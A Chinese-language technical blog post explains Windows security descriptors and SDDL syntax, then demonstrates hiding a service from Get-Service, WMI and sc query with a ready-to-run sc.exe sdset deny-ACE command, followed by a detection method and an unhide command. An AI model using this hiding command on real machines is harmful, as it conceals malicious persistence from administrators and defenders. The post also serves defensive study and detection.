【T1543.003】利用 ACL 隱藏惡意 Windows 服務

CN_Simo發表於2020-11-10

看到一篇文章講述了通過設定 DACL 隱藏 Windows 服務資訊,便做一下總結。

技術原理

系統中每個 Service 在 Windows 中屬於都一種物件(Object),使用者在訪問物件時的許可權會被和物件繫結的安全描述資訊(Security Descriptors)所限定,例如 修改、刪除、讀寫等許可權。

既然 Service 也是一種物件,那麼也可以通過某種方式對服務的安全描述資訊進行適當的修改,使某一類使用者無法檢視、修改該服務的資訊以及停止刪除服務。

安全描述資訊結構與設定方式

MSDN 描述可知,一個安全描述資訊結構體包括如下資訊:

  • SIDs: 該物件的擁有者以及所屬組資訊
  • DACL: 用於允許、拒絕指定使用者/組對該物件的訪問許可權
  • SACL: 為試圖訪問物件的訪問型別生成審計日誌
  • 一組控制位: 用於限定安全描述符或其單個成員的含義。

對應的結構體定義 SECURITY_DESCRIPTOR :

typedef struct _SECURITY_DESCRIPTOR {
  BYTE                        Revision;
  BYTE                        Sbz1;
  SECURITY_DESCRIPTOR_CONTROL Control;
  PSID                        Owner;
  PSID                        Group;
  PACL                        Sacl;
  PACL                        Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

但是程式或使用者並不能直接控制這些資訊,必須通過 Windows 提供的 API 進行設定或查詢。

這就導致由於物件種類的不同,設定這些安全描述資訊的方式上可能各有不同:

  • 有的可以直接通過 UI 介面進行設定,例如檔案物件。
  • 有的需要通過 Windows 內建的命令進行設定,例如服務物件。
  • 有的則必須使用系統 API 完成相關工作,例如程式、執行緒。

對於這些安全描述資訊,Windows 單獨提供了一種簡單的字串表述形式,官方稱其為 “安全描述符定義語言”(SDDL),下面著重總結一下 SDDL 的東西。

安全描述符定義語言(SDDL)

參考 MSDN 可知,SDDL 和 SECURITY_DESCRIPTOR 結構體之間的轉換是通過兩個 API 進行互轉的:

所以,這為安全描述符的設定提供了很大的便利,下面先了解一些基本概念。

基本概念

  • Securable Object: 安全物件,是擁有 SD (安全描述符)的 Windows 的物件,所有的被命名的 Windows 的物件都是安全物件,但是一些沒有命名的物件是安全物件,如:程式和執行緒,也有安全描述符 SD。
  • SID: 每個使用者/組 SID, 用於標識使用者/組。
  • ACL: 訪問控制連結串列,該連結串列其實有兩個表組成:DACL 和 SACL。
  • DACL: 自由訪問控制連結串列,用於允許、拒絕指定使用者/組對該物件的訪問許可權。
  • SACL: 系統訪問控制連結串列,為試圖訪問物件的訪問型別生成審計日誌。
  • ACE: 訪問控制項,是構成訪問控制連結串列的最小單元。
  • SDDL: 安全描述符定義語言,一種利用字串表示安全描述資訊的格式語言。

ACE

ACE 構成了 DACL 和 SACL,可以理解為 SD(安全描述符)的最小儲存單元,他的格式如下:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)

為空代表不限制,常見的策略組合可能是這樣的:

ace_type;;rights;;;account_sid;

ace_type

ace_type 有很多,參見 MSDN,該欄位可以表示對這條規則應用的策略型別,例如:

"A"	SDDL_ACCESS_ALLOWED	ACCESS_ALLOWED_ACE_TYPE
"D"	SDDL_ACCESS_DENIED	ACCESS_DENIED_ACE_TYPE

rights

根據 MSDN 可看出,針對不同型別的物件,許可權常量的名字不是很統一,Wayne Martin 在他的文章中給出了一部分 ADS、SCM、Service、value、SDDL 的對映關係:

"CC"  ADS_RIGHT_DS_CREATE_CHILD          = 0x1,    SC_MANAGER_CONNECT, SERVICE_QUERY_CONFIG
"DC"  ADS_RIGHT_DS_DELETE_CHILD          = 0x2,    SC_MANAGER_CREATE_SERVICE, SERVICE_CHANGE_CONFIG
"LC"  ADS_RIGHT_ACTRL_DS_LIST            = 0x4,    SC_MANAGER_ENUMERATE_SERVICE, SERVICE_QUERY_STATUS
"SW"  ADS_RIGHT_DS_SELF                  = 0x8,    SC_MANAGER_LOCK, SERVICE_ENUMERATE_DEPENDENTS
"RP"  ADS_RIGHT_DS_READ_PROP             = 0x10,   SC_MANAGER_QUERY_LOCK_STATUS, SERVICE_START, 
"WP"  ADS_RIGHT_DS_WRITE_PROP            = 0x20,   SC_MANAGER_MODIFY_BOOT_CONFIG, SERVICE_STOP
"DT"  ADS_RIGHT_DS_DELETE_TREE           = 0x40,   SERVICE_PAUSE_CONTINUE
"LO"  ADS_RIGHT_DS_LIST_OBJECT           = 0x80,   SERVICE_INTERROGATE
"CR"  ADS_RIGHT_DS_CONTROL_ACCESS        = 0x100   SERVICE_USER_DEFINED_CONTROL
"RC"  READ_CONTROL                       = 0x20000 READ_CONTROL
"SD"  ADS_RIGHT_DELETE                   = 0x10000 DELETE

SCM 和 Servcie 的許可權描述符,來自 Service Security and Access Rights - MSDN

SERVICE_QUERY_CONFIG (0x0001) Required to call the QueryServiceConfig and QueryServiceConfig2 functions to query the service configuration. 
SERVICE_CHANGE_CONFIG (0x0002) Required to call the ChangeServiceConfig or ChangeServiceConfig2 function to change the service configuration. Because this grants the caller the right to change the executable file that the system runs, it should be granted only to administrators.  
SERVICE_QUERY_STATUS (0x0004) Required to call the QueryServiceStatusEx function to ask the service control manager about the status of the service. 
SERVICE_ENUMERATE_DEPENDENTS (0x0008) Required to call the EnumDependentServices function to enumerate all the services dependent on the service. 
SERVICE_START (0x0010) Required to call the StartService function to start the service. 
SERVICE_STOP (0x0020) Required to call the ControlService function to stop the service. 
SERVICE_PAUSE_CONTINUE (0x0040) Required to call the ControlService function to pause or continue the service. 
SERVICE_INTERROGATE (0x0080) Required to call the ControlService function to ask the service to report its status immediately. 
SERVICE_USER_DEFINED_CONTROL(0x0100) Required to call the ControlService function to specify a user-defined control code. 
SERVICE_ALL_ACCESS (0xF01FF) Includes STANDARD_RIGHTS_REQUIRED in addition to all access rights in this table. 
READ_CONTROL Required to call the QueryServiceObjectSecurity function to query the security descriptor of the service object. 

SC_MANAGER_CONNECT (0x0001) Required to connect to the service control manager. 
SC_MANAGER_CREATE_SERVICE (0x0002) Required to call the CreateService function to create a service object and add it to the database. 
SC_MANAGER_ENUMERATE_SERVICE (0x0004) Required to call the EnumServicesStatusEx function to list the services that are in the database. 
SC_MANAGER_LOCK (0x0008) Required to call the LockServiceDatabase function to acquire a lock on the database. 
SC_MANAGER_QUERY_LOCK_STATUS (0x0010) 
SC_MANAGER_MODIFY_BOOT_CONFIG (0x0020) Required to call the NotifyBootConfigStatus function. 
SC_MANAGER_ALL_ACCESS (0xF003F) Includes STANDARD_RIGHTS_REQUIRED, in addition to all access rights in this table. 

SDDL 和 ADS 關係對映,來自 ACE Strings - MSDN

"RC"  SDDL_READ_CONTROL  READ_CONTROL 
"RP"  SDDL_READ_PROPERTY  ADS_RIGHT_DS_READ_PROP  
"WP"  SDDL_WRITE_PROPERTY  ADS_RIGHT_DS_WRITE_PROP  
"CC"  SDDL_CREATE_CHILD  ADS_RIGHT_DS_CREATE_CHILD  
"DC"  SDDL_DELETE_CHILD  ADS_RIGHT_DS_DELETE_CHILD  
"LC"  SDDL_LIST_CHILDREN  ADS_RIGHT_ACTRL_DS_LIST  
"SW"  SDDL_SELF_WRITE  ADS_RIGHT_DS_SELF  
"LO"  SDDL_LIST_OBJECT  ADS_RIGHT_DS_LIST_OBJECT  
"DT"  SDDL_DELETE_TREE  ADS_RIGHT_DS_DELETE_TREE  
"CR"  SDDL_CONTROL_ACCESS  ADS_RIGHT_DS_CONTROL_ACCESS  

ADS 的列舉項值,來自 ads_rights_enum - systemmanager

typedef enum 
{
  ADS_RIGHT_DELETE = 0x10000, 
  ADS_RIGHT_READ_CONTROL = 0x20000, 
  ADS_RIGHT_WRITE_DAC = 0x40000, 
  ADS_RIGHT_WRITE_OWNER = 0x80000, 
  ADS_RIGHT_SYNCHRONIZE = 0x100000, 
  ADS_RIGHT_ACCESS_SYSTEM_SECURITY = 0x1000000, 
  ADS_RIGHT_GENERIC_READ = 0x80000000, 
  ADS_RIGHT_GENERIC_WRITE = 0x40000000, 
  ADS_RIGHT_GENERIC_EXECUTE = 0x20000000, 
  ADS_RIGHT_GENERIC_ALL = 0x10000000, 
  ADS_RIGHT_DS_CREATE_CHILD = 0x1, 
  ADS_RIGHT_DS_DELETE_CHILD = 0x2, 
  ADS_RIGHT_ACTRL_DS_LIST = 0x4, 
  ADS_RIGHT_DS_SELF = 0x8, 
  ADS_RIGHT_DS_READ_PROP = 0x10, 
  ADS_RIGHT_DS_WRITE_PROP = 0x20, 
  ADS_RIGHT_DS_DELETE_TREE = 0x40, 
  ADS_RIGHT_DS_LIST_OBJECT = 0x80, 
  ADS_RIGHT_DS_CONTROL_ACCESS = 0x100
} ADS_RIGHTS_ENUM;

account_sid

SID 用於標識 擁有者 或 所屬組,在 ACE 中的 account_sid 可以是一個 SID(S-R-I-S-S)或者在 Sddl.h 中定義的字串常量,這些字串常量又稱 “周知 SID”:

"AN"    SDDL_ANONYMOUS                  Anonymous logon. The corresponding RID is SECURITY_ANONYMOUS_LOGON_RID.
"AO"    SDDL_ACCOUNT_OPERATORS          Account operators. The corresponding RID is DOMAIN_ALIAS_RID_ACCOUNT_OPS.
"AU"    SDDL_AUTHENTICATED_USERS        Authenticated users. The corresponding RID is SECURITY_AUTHENTICATED_USER_RID.
"BA"    SDDL_BUILTIN_ADMINISTRATORS     Built-in administrators. The corresponding RID is DOMAIN_ALIAS_RID_ADMINS.
"BG"    SDDL_BUILTIN_GUESTS             Built-in guests. The corresponding RID is DOMAIN_ALIAS_RID_GUESTS.
"BO"    SDDL_BACKUP_OPERATORS           Backup operators. The corresponding RID is DOMAIN_ALIAS_RID_BACKUP_OPS.
"BU"    SDDL_BUILTIN_USERS              Built-in users. The corresponding RID is DOMAIN_ALIAS_RID_USERS.
"CA"    SDDL_CERT_SERV_ADMINISTRATORS   Certificate publishers. The corresponding RID is DOMAIN_GROUP_RID_CERT_ADMINS.
"CD"    SDDL_CERTSVC_DCOM_ACCESS        Users who can connect to certification authorities using Distributed Component Object Model (DCOM). The corresponding RID is DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP.
"CG"    SDDL_CREATOR_GROUP              Creator group. The corresponding RID is SECURITY_CREATOR_GROUP_RID.
"CO"    SDDL_CREATOR_OWNER              Creator owner. The corresponding RID is SECURITY_CREATOR_OWNER_RID.
"DA"    SDDL_DOMAIN_ADMINISTRATORS      Domain administrators. The corresponding RID is DOMAIN_GROUP_RID_ADMINS.
"DC"    SDDL_DOMAIN_COMPUTERS           Domain computers. The corresponding RID is DOMAIN_GROUP_RID_COMPUTERS.
"DD"    SDDL_DOMAIN_DOMAIN_CONTROLLERS  Domain controllers. The corresponding RID is DOMAIN_GROUP_RID_CONTROLLERS.
"DG"    SDDL_DOMAIN_GUESTS              Domain guests. The corresponding RID is DOMAIN_GROUP_RID_GUESTS.
"DU"    SDDL_DOMAIN_USERS               Domain users. The corresponding RID is DOMAIN_GROUP_RID_USERS.
"EA"    SDDL_ENTERPRISE_ADMINS              Enterprise administrators. The corresponding RID is DOMAIN_GROUP_RID_ENTERPRISE_ADMINS.
"ED"    SDDL_ENTERPRISE_DOMAIN_CONTROLLERS  Enterprise domain controllers. The corresponding RID is SECURITY_SERVER_LOGON_RID.
"HI"    SDDL_ML_HIGH                    High integrity level. The corresponding RID is SECURITY_MANDATORY_HIGH_RID.
"IU"    SDDL_INTERACTIVE                Interactively logged-on user. This is a group identifier added to the token of a process when it was logged on interactively. The corresponding logon type is LOGON32_LOGON_INTERACTIVE. The corresponding RID is SECURITY_INTERACTIVE_RID.
"LA"    SDDL_LOCAL_ADMIN                Local administrator. The corresponding RID is DOMAIN_USER_RID_ADMIN.
"LG"    SDDL_LOCAL_GUEST                Local guest. The corresponding RID is DOMAIN_USER_RID_GUEST.
"LS"    SDDL_LOCAL_SERVICE              Local service account. The corresponding RID is SECURITY_LOCAL_SERVICE_RID.
"LW"    SDDL_ML_LOW Low                 integrity level. The corresponding RID is SECURITY_MANDATORY_LOW_RID.
"ME"    SDDL_MLMEDIUM                   Medium integrity level. The corresponding RID is SECURITY_MANDATORY_MEDIUM_RID.
"MU"    SDDL_PERFMON_USERS              Performance Monitor users.
"NO"    SDDL_NETWORK_CONFIGURATION_OPS  Network configuration operators. The corresponding RID is DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS.
"NS"    SDDL_NETWORK_SERVICE            Network service account. The corresponding RID is SECURITY_NETWORK_SERVICE_RID.
"NU"    SDDL_NETWORK                    Network logon user. This is a group identifier added to the token of a process when it was logged on across a network. The corresponding logon type is LOGON32_LOGON_NETWORK. The corresponding RID is SECURITY_NETWORK_RID.
"PA"    SDDL_GROUP_POLICY_ADMINS        Group Policy administrators. The corresponding RID is DOMAIN_GROUP_RID_POLICY_ADMINS.
"PO"    SDDL_PRINTER_OPERATORS          Printer operators. The corresponding RID is DOMAIN_ALIAS_RID_PRINT_OPS.
"PS"    SDDL_PERSONAL_SELF              Principal self. The corresponding RID is SECURITY_PRINCIPAL_SELF_RID.
"PU"    SDDL_POWER_USERS                Power users. The corresponding RID is DOMAIN_ALIAS_RID_POWER_USERS.
"RC"    SDDL_RESTRICTED_CODE            Restricted code. This is a restricted token created using the CreateRestrictedToken function. The corresponding RID is SECURITY_RESTRICTED_CODE_RID.
"RD"    SDDL_REMOTE_DESKTOP             Terminal server users. The corresponding RID is DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS.
"RE"    SDDL_REPLICATOR                 Replicator. The corresponding RID is DOMAIN_ALIAS_RID_REPLICATOR.
"RO"    SDDL_ENTERPRISE_RO_DCs          Enterprise Read-only domain controllers. The corresponding RID is DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS.
"RS"    SDDL_RAS_SERVERS                RAS servers group. The corresponding RID is DOMAIN_ALIAS_RID_RAS_SERVERS.
"RU"    SDDL_ALIAS_PREW2KCOMPACC        Alias to grant permissions to accounts that use applications compatible with operating systems previous to Windows 2000. The corresponding RID is DOMAIN_ALIAS_RID_PREW2KCOMPACCESS.
"SA"    SDDL_SCHEMA_ADMINISTRATORS      Schema administrators. The corresponding RID is DOMAIN_GROUP_RID_SCHEMA_ADMINS.
"SI"    SDDL_ML_SYSTEM                  System integrity level. The corresponding RID is SECURITY_MANDATORY_SYSTEM_RID.
"SO"    SDDL_SERVER_OPERATORS           Server operators. The corresponding RID is DOMAIN_ALIAS_RID_SYSTEM_OPS.
"SU"    SDDL_SERVICE                    Service logon user. This is a group identifier added to the token of a process when it was logged as a service. The corresponding logon type is LOGON32_LOGON_SERVICE. The corresponding RID is SECURITY_SERVICE_RID.
"SY"    SDDL_LOCAL_SYSTEM               Local system. The corresponding RID is SECURITY_LOCAL_SYSTEM_RID.
"WD"    SDDL_EVERYONE                   Everyone. The corresponding RID is SECURITY_WORLD_RID.

ACL 繼承

暫略。

利用 SDDL 設定隱藏服務

對於正常新增的普通服務,使用 powershell 或 sc.exe 可以直接檢視該服務的資訊:

PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

通過修改服務的 SD 之後,查詢該服務資訊將報錯 ”ObjectNotFound“,以此達到隱藏的目的:

PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

看一下其中設定的 ACE,“D:”表示 DACL 表,多個 ACE 之間以分號小括號分割

“D;;DCLCWPDTSD;;;IU”:拒絕互動式使用者以下許可權:

  • DC: SERVICE_CHANGE_CONFIG 修改服務配置
  • LC: SERVICE_QUERY_STATUS 查詢服務狀態
  • WP: SERVICE_STOP 停止服務
  • DT: SERVICE_PAUSE_CONTINUE 暫停和啟動服務
  • SD: DELETE 刪除服務

“S:”表示 SACL 表,“AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD”表示任何人對該服務的失敗操作都進行審計記錄。

隱藏後,無論是 services.exe、Get-Service、sc query 或任何其它關於服務的控制工具均無法檢索出對應資訊,效果如下:

#以下三種查詢服務資訊的手段均無資訊
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32

如果藍隊知道惡意服務的名稱的話,可以通過停止該服務的回顯進行判斷,例如:

# 停止不存在的JoshNoSuchService服務得到 InvalidOperationException 異常
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand

# 停止存在但被隱藏的SWCUEngine服務得到ServiceCommandException異常
PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand

判斷存在後,取消隱藏的方式也很簡單:

# 使用sc.exe修改目標服務的SDDL語法實現取消隱藏
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS

# 現在使用 Get-Serice 指令可以檢視到對應的服務資訊
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

引用

相關文章